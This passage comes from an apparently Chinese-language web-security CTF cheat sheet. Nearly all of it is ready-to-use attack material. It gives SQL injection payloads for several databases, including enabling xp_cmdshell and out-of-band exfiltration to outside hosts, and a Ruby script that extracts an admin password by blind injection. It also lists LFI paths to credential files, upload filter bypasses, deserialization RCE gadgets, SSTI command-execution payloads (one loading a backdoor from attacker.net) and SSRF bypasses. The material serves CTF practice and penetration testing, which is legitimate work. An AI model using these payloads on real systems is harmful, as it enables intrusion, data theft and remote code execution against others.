function - `ascii('A') => 65 ` - Char function - `char(65) => 'a'` - Concatenation - `+` - `'a'+'b' => 'ab'` - Delay function - `WAIT FOR DELAY '0:0:10'` - 空白字元 - `01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20` - IF語句 - IF condition true-part ELSE false-part - `IF (1=1) SELECT 'true' ELSE SELECT 'false'` - 註解： - `--` - `/**/` - TOP - MSSQL沒有`LIMIT N, M`的用法 - `SELECT TOP 87 * FROM xxx` 取最前面87筆 - 取第78~87筆 - `SELECT pass FROM (SELECT pass, ROW_NUMBER() OVER (ORDER BY (SELECT 1)) AS LIMIT FROM mydb.dbo.mytable)x WHERE LIMIT between 78 and 87` - 其它： - user - db_name() - user_name() - @@version - @@language - @@servername - host_name() - has_dbaccess('master') - 查詢用戶 - `select name, loginame from master..syslogins, master..sysprocesses` - 查用戶密碼 - `select user,password from master.dbo.syslogins` - 當前角色是否為資料庫管理員 - `SELECT is_srvrolemember('sysadmin')` - 當前角色是否為db_owner - `SELECT IS_MEMBER('db_owner')` - 爆DB name - ```DB_NAME(N)``` - ```UNION SELECT NULL,DB_NAME(N),NULL--``` - ```UNION SELECT NULL,name,NULL FROM master ..sysdatabases--``` - `SELECT catalog_name FROM information_schema.schemata` - ```1=(select name from master.dbo.sysdatabases where dbid=5)``` - 爆表名 - `SELECT table_catalog, table_name FROM information_schema.tables` - `SELECT name FROM sysobjects WHERE xtype='U'` - `ID=02';if (select top 1 name from DBname..sysobjects where xtype='U' and name not in ('table1', 'table2'))>0 select 1--` - 爆column - `SELECT table_catalog, table_name, column_name FROM information_schema.columns` - `SELECT name FROM syscolumns WHERE id=object_id('news')` - `ID=1337';if (select top 1 col_name(object_id('table_name'), i) from sysobjects)>0 select 1--` - `SELECT name FROM DBNAME..syscolumns WHERE id=(SELECT id FROM DBNAME..sysobjects WHERE name='TABLENAME')` - Union Based - Column型態必須相同 - 可用`NULL`來避免 - Error Based - 利用型別轉換錯誤 - `id=1 and user=0` - Out of Band - `declare @p varchar(1024);set @p=(SELECT xxxx);exec('master..xp_dirtree "//'+@p+'.oob.kaibro.tw/a"')` - 判斷是否站庫分離 - 客戶端主機名：`select host_name();` - 服務端主機名：`select @@servername; ` - 兩者不同即站庫分離 - xp_cmdshell - 在MSSQL 2000默認開啟 - MSSQL 2005之後默認關閉 - 有sa權限，可透過sp_configure重啟它 ``` EXEC sp_configure 'show advanced options',1 RECONFIGURE EXEC sp_configure 'xp_cmdshell',1 RECONFIGURE ``` - 執行 command - `exec xp_cmdshell 'whoami'` - 關閉xp_cmdshell ``` EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure'xp_cmdshell', 0; RECONFIGURE; ``` - 快速查找帶關鍵字的表 - `SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = 'U' AND (syscolumns.name LIKE '%pass%' or syscolumns.name LIKE '%pwd%' or syscolumns.name LIKE '%first%');` - Unicode繞過 - IIS 對 Unicode 編碼是可以解析的，即 s%u0065lect 會被解析為 select ## Oracle - `SELECT`語句必須包含`FROM` - 未指定來源，可以用`dual`表 - 子字串： - `SUBSTR('abc', 1, 1) => 'a'` - 空白字元 - `00 0A 0D 0C 09 20` - IF語句 - `IF condition THEN true-part [ELSE false-part] END IF` - 註解： - `--` - `/**/` - 不支援 limit - 改用 rownum - `select table_name from (select rownum no, table_name from all_tables) where no=1` - 單雙引號 - 單引號: string, date - 雙引號: identifier (table name, column name, ...) - 其它 - `SYS.DATABASE_NAME` - current database - `USER` - current user - or `sys.login_user` - `SELECT role FROM session_roles` - current role - `SELECT privilege FROM user_sys_privs` - system privileges granted to the current user - `SELECT privilege FROM role_sys_privs` - privs the current role has - `SELECT privilege FROM session_privs` - the all privs that current user has = user_sys_privs + role_sys_privs - `SELECT banner FROM v$version where rownum=1` - database version - `SELECT host_name FROM v$instance;` - Name of the host machine - `utl_inaddr.get_host_address` - 本機IP - `select utl_inaddr.get_host_name('87.87.87.87') from dual` - IP反解 - 庫名(schema) - `SELECT DISTINCT OWNER FROM ALL_TABLES` - 表名 - `SELECT OWNER, TABLE_NAME FROM ALL_TABLES` - Column - `SELECT OWNER, TABLE_NAME, COLUMN_NAME FROM ALL_TAB_COLUMNS` - Union Based - Column型態必須相同 - 可用`NULL`來避免 - `UNION SELECT 1, 'aa', null FROM dual` - Time Based - `dbms_pipe.receive_message(('a'),10)` - `SELECT CASE WHEN (CONDITION_HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual` - Error Based - `CTXSYS.DRITHSX.SN` - `SELECT * FROM news WHERE id=1 and CTXSYS.DRITHSX.SN(user, (SELECT banner FROM v$version WHERE rownum=1))=1` - `utl_inaddr.get_host_name` - `and 1=utl_inaddr.get_host_name((SQL in HERE))` - 版本>=11g，需要超級用戶或授予網路權限的用戶才能用 - `dbms_xdb_version.checkin` - `and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null` - `dbms_xdb_version.makeversioned` - `and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null` - `dbms_xdb_version.uncheckout` - `and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null` - `dbms_utility.sqlid_to_sqlhash` - `and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null` - Out of band - `UTL_HTTP.request('http://kaibro.tw/'||(select user from dual))=1` - `SYS.DBMS_LDAP.INIT()` - `utl_inaddr.get_host_address()` - `HTTPURITYPE` - `SELECT HTTPURITYPE('http://30cm.club/index.php').GETCLOB() FROM DUAL;` - `extractvalue()` XXE - `SELECT extractvalue(xmltype(' %remote;]>'),'/l') FROM dual` - 新版已patch - users - `select username from all_users` - lists all users of the database - `select name, password from sys.user$` - `select username,password,account_status from dba_users` - 特殊用法 - `DBMS_XMLGEN.getXML('select user from dual')` - `dbms_java.runjava('com/sun/tools/script/shell/Main -e "var p = java.lang.Runtime.getRuntime().exec(''$cmd'');"')` - Java code execution ## SQLite - 子字串： - `substr(“abc",1,1) => 'a'` - Ascii function: - `unicode('d') => 100` - legth - `length('ab') => 2` - Concatenation - `||` - `'a' || 'b' => 'ab'` - Time Delay - `randomblob(100000000)` - 空白字元 - `0A 0D 0C 09 20` - Case when - SQLite沒有`if` - 可以用`Case When ... Then ...`代替 - `case when (條件) then ... else ... end` - 註解 - `--` - 爆表名 - `SELECT name FROM sqlite_master WHERE type='table'` - 爆表結構(含Column) - `SELECT sql FROM sqlite_master WHERE type='table'` - 其他 - `sqlite_version()` - sqlite無法使用`\'`跳脫單引號 - `[]` 神奇用法 - `CREATE TABLE a AS SELECT sql [ some shit... ]FROM sqlite_master;` - CREATE TABLE 後面也能接 SELECT condition - [zer0pts CTF 2020 - phpNantokaAdmin](https://github.com/w181496/CTF/tree/master/zer0pts2020/phpNantokaAdmin) - Boolean Based: SECCON 2017 qual SqlSRF
Click here to view script ```ruby # encoding: UTF-8 # sqlite injection (POST method) (二分搜) # SECCON sqlsrf爆admin密碼 require 'net/http' require 'uri' $url = 'http://sqlsrf.pwn.seccon.jp/sqlsrf/index.cgi' $ans = '' (1..100).each do |i| l = 48 r = 122 while(l <= r) #puts "left: #{l}, right: #{r}" break if l == r mid = ((l + r) / 2) $query = "kaibro'union select '62084a9fa8872a1b917ef4442c1a734e' where (select unicode(substr(password,#{i},#{i})) from users where username='admin') > #{mid} and '1'='1" res = Net::HTTP.post_form URI($url), {"user" => $query, "pass" => "kaibro", "login" => "Login"} if res.body.include? 'document.location' l = mid + 1 else r = mid end end $ans += l.chr puts $ans end ```
## PostgreSQL - 子字串 - `substr("abc", 1, 1) => 'a'` - Ascii function - `ascii('x') => 120` - Char function - `chr(65) => A` - Concatenation - `||` - `'a' || 'b' => 'ab'` - Delay function - `pg_sleep(5)` - `GENERATE_SERIES(1, 1000000)` - `repeat('a', 10000000)` - 空白字元 - `0A 0D 0C 09 20` - encode / decode - `encode('123\\000\\001', 'base64')` => `MTIzAAE=` - `decode('MTIzAAE=', 'base64')` => `123\000\001` - 不支援limit N, M - `limit a offset b` 略過前b筆，抓出a筆出來 - 註解 - `--` - `/**/` - 爆庫名 - `SELECT datname FROM pg_database` - 爆表名 - `SELECT tablename FROM pg_tables WHERE schemaname='dbname'` - 爆Column - `SELECT column_name FROM information_schema.columns WHERE table_name='admin'` - Dump all - `array_to_string(array(select userid||':'||password from users),',')` - 其它 - version() - current\_database() - user - current_user - `SELECT usename FROM pg_user;` - current\_schema - current\_query() - inet\_server\_addr() - inet\_server\_port() - inet\_client\_addr() - inet\_client\_port() - type conversion - `cast(count(*) as text)` - `md5('abc')` - `replace('abcdefabcdef', 'cd', 'XX')` => `abXXefabXXef` - `pg_read_file(filename, offset, length)` - 讀檔 - 只能讀data_directory下的 - `pg_ls_dir(dirname)` - 列目錄內容 - 只能列data_directory下的 - PHP的`pg_query()`可以多語句執行 - `lo_import()`, `lo_get()`讀檔 - `select cast(lo_import('/var/lib/postgresql/data/secret') as text)` => `18440` - `select cast(lo_get(18440) as text)` => `secret_here` ## MS Access - 沒有註解 - 某些情況可以用`%00`, `%16`來達到類似效果 - 沒有 Stacked Queries - 沒有 Limit - 可以用 `TOP`, `LAST` 取代 - `'UNION SELECT TOP 5 xxx FROM yyy%00` - 沒有 Sleep, Benchmark, ... - 支援 Subquery - `'AND (SELECT TOP 1 'xxx' FROM table)%00` - String Concatenation - `&` (`%26`) - `+` (`%2B`) - `'UNION SELECT 'aa' %2b 'bb' FROM table%00` - Ascii Function - `ASC()` - `'UNION SELECT ASC('A') FROM table%00` - IF THEN - `IFF(condition, true, false)` - `'UNION SELECT IFF(1=1, 'a', 'b') FROM table%00` - https://insomniasec.com/cdn-assets/Access-Through-Access.pdf ## ORM injection https://www.slideshare.net/0ang3el/new-methods-for-exploiting-orm-injections-in-java-applications - Hibernate - 單引號跳脫法 - MySQL中，單引號用`\'`跳脫 - HQL中，用兩個單引號`''`跳脫 - `'abc\''or 1=(SELECT 1)--'` - 在HQL是一個字串 - 在MySQL是字串+額外SQL語句 - Magic Function法 - PostgreSQL中內建`query_to_xml('Arbitary SQL')` - Oracle中有`dbms_xmlgen.getxml('SQL')` HQL injection example (pwn2win 2017) - ```order=array_upper(xpath('row',query_to_xml('select (pg_read_file((select table_name from information_schema.columns limit 1)))',true,false,'')),1)``` - Output: `ERROR: could not stat file "flag": No such file or directory` - ```order=array_upper(xpath('row',query_to_xml('select (pg_read_file((select column_name from information_schema.columns limit 1)))',true,false,'')),1)``` - Output: `ERROR: could not stat file "secret": No such file or directory` - `order=array_upper(xpath('row',query_to_xml('select (pg_read_file((select secret from flag)))',true,false,'')),1)` - Output: `ERROR: could not stat file "CTF-BR{bl00dsuck3rs_HQL1njection_pwn2win}": No such file or directory` ## SQL Injection with MD5 - `$sql = "SELECT * FROM admin WHERE pass = '".md5($password, true)."'";` - ffifdyop - md5: `276f722736c95d99e921722cf9ed621c` - to string: `'or'6` ## HTTP Parameter Pollution - `id=1&id=2&id=3` - ASP.NET + IIS: `id=1,2,3` - ASP + IIS: `id=1,2,3` - PHP + Apache: `id=3` ## SQLmap - https://github.com/sqlmapproject/sqlmap/wiki/Usage - Usage - `python sqlmap.py -u 'test.kaibro.tw/a.php?id=1'` - 庫名: `--dbs` - 表名: `-D dbname --tables` - column: `-D dbname -T tbname --columns` - dump: `-D dbname -T tbname --dump` - `--start=1` - `--stop=5566` - DBA? `--is-dba` - 爆帳密: `--passwords` - 看權限: `--privileges` - 拿shell: `--os-shell` - interative SQL: `--sql-shell` - 讀檔: `--file-read=/etc/passwd` - Delay時間: `--time-sec=10` - User-Agent: `--random-agent` - Thread: `--threads=10` - Level: `--level=3` - default: 1 - `--technique` - default: `BEUSTQ` - Cookie: `--cookie="abc=55667788"` - Tor: `--tor --check-tor --tor-type=SOCKS5 --tor-port=9050` # LFI ## Testing Payload ### Linux / Unix - Common Payload - `./index.php` - `././index.php` - `.//index.php` - `../../../../../../etc/passwd` - `../../../../../../etc/passwd%00` - 僅在5.3.0以下可用 - magic_quotes_gpc需為OFF - `....//....//....//....//etc/passwd` - `%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd` - `%252e/%252e/etc/passwd` - `ＮＮ/ＮＮ/ＮＮ/etc/passwd` - `.+./.+./.+./.+./.+./.+./.+./.+./.+./.+./etc/passwd` - `static\..\..\..\..\..\..\..\..\etc\passwd` - Config - `/usr/local/apache2/conf/httpd.conf` - `/usr/local/etc/apache2/httpd.conf` - `/etc/apache2/sites-available/000-default.conf` - `/etc/apache2/apache2.conf` - `/etc/apache2/httpd.conf` - `/etc/httpd/conf/httpd.conf` - `/etc/nginx/conf.d/default.conf` - `/etc/nginx/nginx.conf` - `/etc/nginx/sites-enabled/default` - `/etc/nginx/sites-enabled/default.conf` - `/etc/mysql/my.cnf` - `/etc/resolv.conf` - `/etc/named.conf` - `/etc/rsyslog.conf` - `/etc/samba/smb.conf` - `/etc/openldap/slapd.conf` - `/etc/mongod.conf` - `~/.tmux.conf` - `$TOMCAT_HOME/conf/tomcat-users.xml` - `$TOMCAT_HOME/conf/server.xml` - Log - `/var/log/apache2/error.log` - `/var/log/httpd/access_log` - `/var/log/mail.log` - `/var/log/auth.log` - `/var/log/messages` - `/var/log/secure` - `/var/log/sshd.log` - `/var/log/mysqld.log` - `/var/log/mongodb/mongod.log` - `$TOMCAT_HOME/logs/catalina.out` - History - `.history` - `.bash_history` - `.sh_history` - `.zsh_history` - `.viminfo` - `.php_history` - `.mysql_history` - `.dbshell` - `.histfile` - `.node_repl_history` - `.python_history` - `.scapy_history` - `.sqlite_history` - `.psql_history` - `.lesshst` - `.wget-hsts` - `.config/fish/fish_history` - `.local/share/fish/fish_history` - `.ipython/profile_default/history.sqlite` - 其他 - `/proc/self/cmdline` - `/proc/self/fd/[0-9]*` - `/proc/self/environ` - `/proc/net/fib_trie` - `/proc/mounts` - `/proc/net/arp` - `/proc/net/tcp` - `/proc/sched_debug` - `.htaccess` - `~/.bashrc` - `~/.bash_profile` - `~/.bash_logout` - `~/.zshrc` - `~/.aws/config` - `~/.aws/credentials` - `~/.boto` - `~/.s3cfg` - `~/.gitconfig` - `~/.config/git/config` - `~/.git-credentials` - `~/.env` - `/etc/passwd` - `/etc/shadow` - `/etc/hosts` - `/etc/rc.d/rc.local` - `/etc/boto.cfg` - `/root/.ssh/id_rsa` - `/root/.ssh/authorized_keys` - `/root/.ssh/known_hosts` - `/root/.ssh/config` - `/etc/sysconfig/network-scripts/ifcfg-eth0` - `/etc/exports` - `/etc/crontab` - `/var/spool/cron/root` - `/var/spool/cron/crontabs/root` - `/var/mail/` ### Windows - `C:/Windows/win.ini` - `C:/boot.ini` - `C:/apache/logs/access.log` - `../../../../../../../../../boot.ini/.......................` - `%WINDIR%\System32\drivers\etc\hosts` - `C:\WINDOWS\System32\Config\SAM` - `C:/WINDOWS/repair/sam` - `C:/WINDOWS/repair/system` - `%SYSTEMROOT%\System32\config\RegBack\SAM` - `%SYSTEMROOT%\System32\config\RegBack\system` - `%WINDIR%\system32\config\AppEvent.Evt` - `%WINDIR%\system32\config\SecEvent.Evt` - `%WINDIR%\iis[version].log` - `%WINDIR%\debug\NetSetup.log` - `%SYSTEMDRIVE%\autoexec.bat` - `C:\Documents and Settings\All Users\Application Data\Git\config` - `C:\ProgramData\Git\config` - `$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt` ## 環境變數 - `../../../../proc/self/environ` - HTTP_User_Agent塞php script ## php://filter - `php://filter/convert.base64-encode/resource=index.php` - `php://filter/convert.base64-decode/resource=index.php` - `php://filter/read=string.rot13/resource=index.php` - `php://filter/zlib.deflate/resource=index.php` - `php://filter/zlib.inflate/resource=index.php` - `php://filter/convert.quoted-printable-encode/resource=index.php` - `php://filter/read=string.strip_tags/resource=php://input` - `php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=index.php` - `php://filter/convert.iconv.UCS-4LE.UCS-4BE/resource=index.php` - ... ## php://input - `?page=php://input` - post data: `` - 需要有開啟`url_allow_include`，5.4.0直接廢除 ## phpinfo - 對server以form-data上傳文件，會產生tmp檔 - 利用phpinfo得到tmp檔路徑和名稱 - LFI Get shell - 限制 - Ubuntu 17後，預設開啟`PrivateTmp`，無法利用 ## php session - Session一般存在`sess_{PHPSESSID}`中 - 可以透過修改Cookie再LFI拿shell - 以下為常見存放路徑 - /var/tmp/ - /tmp/ - /var/lib/php5/ - /var/lib/php/ - C:\windows\temp\sess_ - windows - `session.upload_progress` - PHP預設開啟 - 用來監控上傳檔案進度 - 當`session.upload_progress.enabled`開啟，可以POST在`$_SESSION`中添加資料 (`sess_{PHPSESSID}`) - 配合LFI可以getshell - `session.upload_progress.cleanup=on`時，可以透過Race condition - Example - [HITCON CTF 2018 - One Line PHP Challenge](https://blog.kaibro.tw/2018/10/24/HITCON-CTF-2018-Web/) ## data:// - 條件 - allow_url_fopen: On - allow_url_include: On - 用法 - `?file=data://text/plain,` - `?file=data:text/plain,` - `?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=` ## zip / phar - 適用驗證副檔名時 - zip - 新建zip，裡頭壓縮php腳本(可改副檔名) - `?file=zip://myzip.zip#php.jpg` - phar - ```php addFromString('b.jpg', $x); ?> - 構造 `?file=phar://phartest.zip/b.jpg` ## SSI (Server Side Includes) - 通常放在`.shtml`, `.shtm` - Execute Command - `` - File Include - `` - Example - [HITCON CTF 2018 - Why so Serials?](https://blog.kaibro.tw/2018/10/24/HITCON-CTF-2018-Web/) # 上傳漏洞 ## Javascript檢測 - Burp Suite 中間修改 - disable javascript ## Bypass MIME Detection - Burp修改Content-Type ## 黑名單判斷副檔名 - 大小寫繞過 - pHP - AsP - 空格 / 點 繞過 - Windows特性 - .php(空格) // burp修改 - .asp. - php3457 - .php3 - .php4 - .php5 - .php7 - .pht - .phtml - .htaccess ``` SetHandler application/x-httpd-php ``` - 文件解析漏洞 ## Magic Number - jpg - `FF D8 FF E0 00 10 4A 46 49 46` - gif - `47 49 36 38 39 61` - png - `89 50 4E 47` ## 其他 - 常見場景：配合文件解析漏洞 # 反序列化 ## PHP - Serialize() / Unserialize() - `__construct()` - Object被new時調用，但unserialize()不調用 - `__destruct()` - Object被銷毀時調用 - `__wakeup()` - unserialize時自動調用 - `__sleep()` - 被serialize時調用 - `__toString()` - 物件被當成字串時調用
- Value - String - `s:size:value;` - Integer - `i:value;` - Boolean - `b:value;` ('1' or '0') - NULL - `N;` - Array - `a:size:{key definition; value definition; (repeat per element)}` - Object - `O:strlen(class name):class name:object size:{s:strlen(property name):property name:property definition;(repeat per property)}` - 其他 - C - custom object - R - pointer reference - Public / Private / Protected 序列化 - 例如：class名字為: `Kaibro`，變數名字: `test` - 若為Public，序列化後： - `...{s:4:"test";...}` - 若為Private，序列化後： - `...{s:12:"%00Kaibro%00test"}` - 若為Protected，序列化後： - `...{s:7:"%00*%00test";...}` - Private和Protected會多兩個NULL byte --- - Example ```php test); } } $input = $_GET['str']; $kb = unserialize($input); ``` - Input: `.php?str=O:6:"Kaibro":1:{s:4:"test";s:3:";id";}` - Output: `uid=33(www-data) gid=33(www-data) groups=33(www-data) `
- Example 2 - Private ```php test); } } $input = $_GET['str']; $kb = unserialize($input); ``` - Input: `.php?str=O:6:"Kaibro":1:{s:12:"%00Kaibro%00test";s:3:";id";}` - Output: `uid=33(www-data) gid=33(www-data) groups=33(www-data)` --- - CVE-2016-7124 - 影響版本： - PHP5 < 5.6.25 - PHP7 < 7.0.10 - 物件屬性個數大於真正的屬性個數，會略過`__wakeup`的執行 - 反序列化會失敗，但是`__destruct`會執行 - HITCON 2016 - 小特性 - `O:+4:"test":1:{s:1:"a";s:3:"aaa";}` - `O:4:"test":1:{s:1:"a";s:3:"aaa";}` - 兩者結果相同 - Phar:// 反序列化 - phar文件會將使用者自定義的metadata以序列化形式保存 - 透過`phar://`偽協議可以達到反序列化的效果 - 常見影響函數: `file_get_contents()`, `file_exists()`, `is_dir()`, ... - Generic Gadget Chains - [phpggc](https://github.com/ambionics/phpggc) - Example - [HITCON CTF 2017 - Baby^H Master](https://github.com/orangetw/My-CTF-Web-Challenges#babyh-master-php-2017) - [HITCON CTF 2018 - Baby Cake PHP 2017](https://blog.kaibro.tw/2018/10/24/HITCON-CTF-2018-Web/) - [DCTF 2018 - Vulture](https://cyku.tw/ctf-defcamp-qualification-2018/) ## Python Pickle - `dumps()` 將物件序列化成字串 - `loads()` 將字串反序列化 Example: a.py: ```python import os import cPickle import sys import base64 class Exploit(object): def __reduce__(self): return (os.system, ('id',)) shellcode = cPickle.dumps(Exploit()) print base64.b64encode(shellcode) ``` b.py: ```python import os import cPickle import sys import base64 s = raw_input(":") print cPickle.loads(base64.b64decode(s)) ``` ``` $ python a.py > tmp $ cat tmp | python b.py uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),110(lxd) ``` ## Ruby/Rails Marshal this one is not self-executing this one actually relies on rails invoking a method on the resulting object after the deserialization ```ruby erb = ERB.allocate erb.instance_variable_set :@src, "`id`" depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result, "foo", ActiveSupport::Deprecation hash = {depr => 'something'} marshalled = Marshal.dump(hash) print marshalled ``` 在ERB上，當result或run method被call時，@src的string會被執行 - 常見使用情境： - 以Marshal為Cookie Serializer時，若有`secret_key`，則可以偽造Cookie - 也可以透過`DeprecatedInstanceVariableProxy`去執行ERB的`result`來RCE - 當`DeprecatedInstanceVariableProxy`被unmarshal，rails session對他處理時遇到不認識的method就會呼叫`method_missing`，導致執行傳入的ERB - `@instance.__send__(@method)` - Cookie Serializer - Rails 4.1以前的Cookie Serializer為Marshal - Rails 4.1開始，默認使用JSON ## Ruby/Rails YAML - CVE-2013-0156 - 舊版本的Rails中，`XML`的node可以自訂type，如果指定為`yaml`，是會被成功解析的 - 若反序列化`!ruby/hash`，則相當於在物件上調用`obj[key]=val`，也就是`[]=`方法 - 而這個`ActionDispatch::Routing::RouteSet::NamedRouteCollection`中的`[]=`方法中，有一條代碼路徑可以eval - `define_hash_access`中可以看到`module_eval`，裏頭的`selector`來自`name` - 因為他還會對`value`調用`defaults` method，所以可以利用`OpenStruct`來構造 - `函數名=>返回值`的對應關係存放在`@table`中 - Payload: ```ruby xml = %{ ---| !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection 'test; sleep(10); test' : !ruby/object:OpenStruct table: :defaults: {} }.strip ``` - CVE-2013-0333 - Rails 2.3.x和3.0.x中，允許`text/json`的request轉成`YAML`解析 - `Yaml`在Rails 3.0.x是預設的`JSON Backend` - 出問題的地方在於`YAML.load`前的`convert_json_to_yaml`，他不會檢查輸入的JSON是否合法 - 一樣可以透過`ActionController::Routing::RouteSet::NamedRouteCollection#define_hash_access`的`module_eval`來RCE ## Java Deserialization - 序列化資料特徵 - `ac ed 00 05 ...` - `rO0AB ...` (Base64) - 反序列化觸發點 - `readObject()` - `readExternal()` - ... - JEP290 - Java 9 新特性，並向下支援到 8u121, 7u13, 6u141 - 增加黑、白名單機制 - Builtin Filter - JDK 包含了 Builtin Filter (白名單機制) 在 RMI Registry 和 RMI Distributed Garbage Collector - 只允許特定 class 被反序列化 - 許多 RMI Payload 失效 (即便 classpath 有 gadegt) - Codebase - JDK 6u45, 7u21 開始，`useCodebaseOnly` 預設為 true - 禁止自動載入遠端 class 文件 - JDK 6u132, 7u122, 8u113 下，`com.sun.jndi.rmi.object.trustURLCodebase`, `com.sun.jndi.cosnaming.object.trustURLCodebase` 預設為 false - RMI 預設不允許從遠端 Codebase 載入 Reference class - JDK 11.0.1, 8u191, 7u201, 6u211 後，`com.sun.jndi.ldap.object.trustURLCodebase` 預設為 false - LDAP 預設不允許從遠端 Codebase 載入 Reference class - Tool - [yososerial](https://github.com/frohoff/ysoserial) - URLDNS: 不依賴任何額外library，可以用來做 dnslog 驗證 - CommonCollections 1~7: Common collections 各版本 gadget chain - ... - [BaRMIe](https://github.com/NickstaDB/BaRMIe) - 專打 Java RMI (enumerating, attacking) - [marshalsec](https://github.com/mbechler/marshalsec) - [SerializationDumper](https://github.com/NickstaDB/SerializationDumper) - 分析 Serialization Stream，如Magic頭、serialVersionUID、newHandle等 - [gadgetinspector](https://github.com/JackOfMostTrades/gadgetinspector) - Bytecode Analyzer - 找 gadget chain - [GadgetProbe](https://github.com/BishopFox/GadgetProbe) - 透過字典檔配合DNS callback，判斷環境使用哪些library, class等資訊 - [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet) - Example - [0CTF 2019 Final - hotel booking system](https://balsn.tw/ctf_writeup/20190608-0ctf_tctf2019finals/#tctf-hotel-booking-system) - [TrendMicro CTF 2018 Qual - Forensics 300](https://github.com/balsn/ctf_writeup/tree/master/20180914-trendmicroctf#300-3) - [TrendMicro CTF 2019 Qual - Forensics 300](https://github.com/w181496/CTF/tree/master/trendmicro-ctf-2019/forensics300) - TrendMicro CTF 2019 Final - RMIart ## .NET Derserialization - Tool - [ysoserial.net](https://github.com/pwntester/ysoserial.net) - asp.net 中 ViewState 以序列化形式保存資料 - 有 machinekey 或 viewstate 未加密/驗證時，有機會 RCE - Example - [HITCON CTF 2018 - Why so Serials?](https://blog.kaibro.tw/2018/10/24/HITCON-CTF-2018-Web/) # SSTI Server-Side Template Injection ![img](https://i.imgur.com/GVZeVq6.png) ## Testing - ` {{ 7*'7' }}` - Twig: `49` - Jinja2: `7777777` - `<%= 7*7 %>` - Ruby ERB: `49` ## Flask/Jinja2 - Dump all used classes - `{{ ''.__class__.__mro__[2].__subclasses__() }} ` - Read File - `{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}` - Write File - `{{''.__class__.__mro__[2].__subclasses__()[40]('/var/www/app/a.txt', 'w').write('Kaibro Yo!')}}` - RCE - `{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}` - evil config - `{{ config.from_pyfile('/tmp/evilconfig.cfg') }}` - load config - `{{ config['RUNCMD']('cat flag',shell=True) }}` - RCE (another way) - `{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('ls').read()}}` - Python3 RCE - ```python {% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("id").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %} ``` - 過濾中括號 - `__getitem__` - `{{''.__class__.__mro__.__getitem__(2)}}` - `{{''.__class__.__mro__[2]}}` - 過濾`{{` or `}}` - 用`{%%}` - 執行結果往外傳 - 過濾`.` - `{{''.__class__}}` - `{{''['__class__']}}` - `{{''|attr('__class__')}}` - 過濾Keyword - 用`\xff`形式去繞 - `{{''["\x5f\x5fclass\x5f\x5f"]}}` - 用request繞 - `{{''.__class__}}` - `{{''[request.args.kaibro]}}&kaibro=__class__` ## Twig / Symfony - RCE - `{{['id']|map('passthru')}}` - `{{['id']|filter('system')}}` - `{{app.request.query.filter(0,'curl${IFS}kaibro.tw',1024,{'options':'system'})}}` - `{{_self.env.setCache("ftp://attacker.net:21")}}{{_self.env.loadTemplate("backdoor")}}` - `{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}` - Read file - `{{'/etc/passwd'|file_excerpt(30)}}` - Version - `{{constant('Twig\\Environment::VERSION')}}` ## AngularJS - v1.6後移除Sandbox - Payload - `{{ 7*7 }}` => 49 - `{{ this }}` - `{{ this.toString() }}` - `{{ constructor.toString() }}` - `{{ constructor.constructor('alert(1)')() }}` 2.1 v1.0.1-v1.1.5 - `{{ a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')() }}` 2.1 v1.0.1-v1.1.5 - `{{ toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor) }}` 2.3 v1.2.19-v1.2.23 - `{{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}}` v1.2.24-v1.2.29 - `{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}` v1.3.20 - `{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}` v1.4.0-v1.4.9 - `{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}` v1.5.0-v1.5.8 - `{{ [].pop.constructor('alert(1)')() }}` 2.8 v1.6.0-1.6.6 ## Vue.js - `{{constructor.constructor('alert(1)')()}}` - https://github.com/dotboris/vuejs-serverside-template-xss ## Python - `%` - 輸入`%(passowrd)s`即可偷到密碼： ```python userdata = {"user" : "kaibro", "password" : "ggininder" } passwd = raw_input("Password: ") if passwd != userdata["password"]: print ("Password " + passwd + " is wrong for user %(user)s") % userdata ``` - `f` - python 3.6 - example - `a="gg"` - `b=f"{a} ininder"` - `>>> gg ininder` - example2 - `f"{os.system('ls')}"` ## Tool - https://github.com/epinna/tplmap --- http://blog.portswigger.net/2015/08/server-side-template-injection.html # SSRF ## Bypass 127.0.0.1 ``` 127.0.0.1 localhost 127.0.1 127.1 0.0.0.0 0.0 0 ::1 ::127.0.0.1 